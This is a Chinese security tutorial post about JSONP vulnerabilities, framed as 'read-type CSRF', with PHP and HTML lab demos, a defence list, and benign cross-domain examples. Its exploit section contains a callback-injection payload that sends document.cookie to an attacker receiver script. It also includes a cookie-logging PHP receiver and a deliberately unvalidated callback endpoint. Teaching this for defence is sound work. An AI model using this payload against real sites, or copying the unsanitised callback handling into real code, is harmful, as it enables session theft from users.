OWASPtop10——jsonp漏洞
本文最后更新于 2024-07-26,文章内容可能已经过时。
jsonp漏洞—-读取类型的CSRF
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
jsonp介绍:
jsonp是通过script标签加载数据的方式去获取数据当作js代码来执行
提前在页面上声明一个函数,函数名通过接口传参的方式传给后台,后台解析到函数名后在原始数据上【包裹】这个函数名,发送给前端。换句话说,jsonp需要对应接口的后端的配合才能是实现。要注意jsonp只支持GET方式的请求,不支持POST方式的请求、
script标签可以加载其他域下的js,我们可以利用这个特性实现从其他域下获取数据。通过
<script src>=“http:127.0.0.1:8080/getNews”></script>
这时回像接口发送获取数据,获取数据后作为js来执行。但是这个数据是json格式的,直接作为js运行的话如何去得到这个数据去操作呢?这时候我们可以在src后面加上一个回调函数callback=showData
<script src="http://127.0.0.1:8080/getNews?callback=showData"></script>
jsonp漏洞利用:
1.构造代码:
2.获取数据:
利用jsonp就是在如图位置加上callback看有返回值,后可以获取关键数据。
代码演示
获取用户的cookie:
服务端程序:
<?php
$v = ["username"=>"zhangsan","age"=>12];
$v = json_encode($v);
$method = $_GET['cb'];
echo "$method('$v')";
//echo hi('zhangsan')
?>
====================
客户端程序;
<?php
session_start();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../js/jquery1.7.2.min.js"></script>
</head>
<body>
<h1>aaaaaaaaaaaaaaaaa</h1>
<button onclick="getData()">点击发请求</button>
</body>
<script id="sc"></script>
<script>
function getData(){
document.getElementById("sc").src="http://192.168.248.128/attack/test.php?cb=new Image().src='http://192.168.248.128/attack/receivecookie.php?ucookie='%2bdocument.cookie;//";
}
</script>
</html>
========================
攻击者接收cookie的程序
<?php
include '../goods/common/dbconn.php';
$ucookie = $_GET['ucookie'];
$refers = $_SERVER['HTTP_REFERER'];
$sql = "insert into usercookies(cookies,refers,createtime) values('$ucookie','$refers',now())";
$result = mysqli_query($conn,$sql);
if(!$result){
echo mysqli_error($conn);
}
mysqli_close($conn);
JSONP漏洞防御
1、前端不要传回调函数的名字给后端,直接约定好
2、后端检查Referer请求头,必须是约定好的服务器的地址
3、严格显示callback函数名称里的恶意单词,例如cookie,alert等等
4、严格限制callback函数名称的长度
5、使用htmlspecialchars、addslashes函数转义
JSONP解决跨域问题
jsonp解决跨域问题演示
服务端的程序:
<?php
$v = "zhangsan";
$method = $_GET['cb'];
echo "$method('$v')";
//echo getResData('zhangsan')
?>
===============================
客户端程序:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../js/jquery1.7.2.min.js"></script>
</head>
<body>
<h1>aaaaaaaaaaaaaaaaa</h1>
</body>
<script>
function getResData(data){
console.log("hello:",data);
}
// url = "http://192.168.248.128/attack/test.php?cb=getResData";
// $.get(url,function succ(data){
// console.log("hello:",data);
// })
</script>
<script src="http://192.168.248.128/attack/test.php?cb=getResData"></script>
<!-- <script>
getResData('zhangsan');
</script> -->
</html>
- 客户端需要定义好一个javascript函数,用于在服务端返回数据时候,被调用
- 客户端在调用服务端的时候,使用一个参数,把定义好的javascript函数名称传递给服务端
- 服务端在返回的时候,把函数名称和数据拼接成一个调用的形式
- 利用了script标签不受同源策略限制来实现
2、JSON(JavaScript Object Notation, JS对象简谱)是一种轻量级的数据交换格式
返回JSON数据
服务端程序
<?php
$v = ["username"=>"zhangsan","age"=>12];
$v = json_encode($v);
$method = $_GET['cb'];
echo "$method('$v')";
//echo hi('zhangsan')
?>
======================
客户端程序
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../js/jquery1.7.2.min.js"></script>
</head>
<body>
<h1>aaaaaaaaaaaaaaaaa</h1>
</body>
<script>
function getResData(data){
jn = JSON.parse(data)//把返回的json字符串
jn["age"] = 100;//把age属性修改一下
console.log(jn);
}
</script>
<script src="http://192.168.248.128/attack/test.php?cb=getResData"></script>
</html>
3、Jquery封装jsonp调用
jquery实现回调函数,绕过跨域访问:
$.getJSON(url,function(data){alert(data)})
url:xxxx.php?callback=? 不要使用函数名。 回调函数可以不写。
=====================
服务端程序
<?php
$v = ["username"=>"zhangsan","age"=>12];
$v = json_encode($v);
$method = $_GET['cb'];
echo "$method('$v')";
//echo hi('zhangsan')
?>
=====================
客户端程序
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../js/jquery1.7.2.min.js"></script>
</head>
<body>
<h1>aaaaaaaaaaaaaaaaa</h1>
</body>
<script>
$.getJSON("http://192.168.248.128/attack/test.php?cb=?",function succ(data){
jn = JSON.parse(data)//把返回的json字符串
jn["age"] = 100;//把age属性修改一下
console.log(jn);
})
</script>
</html>
- 感谢你赐予我前进的力量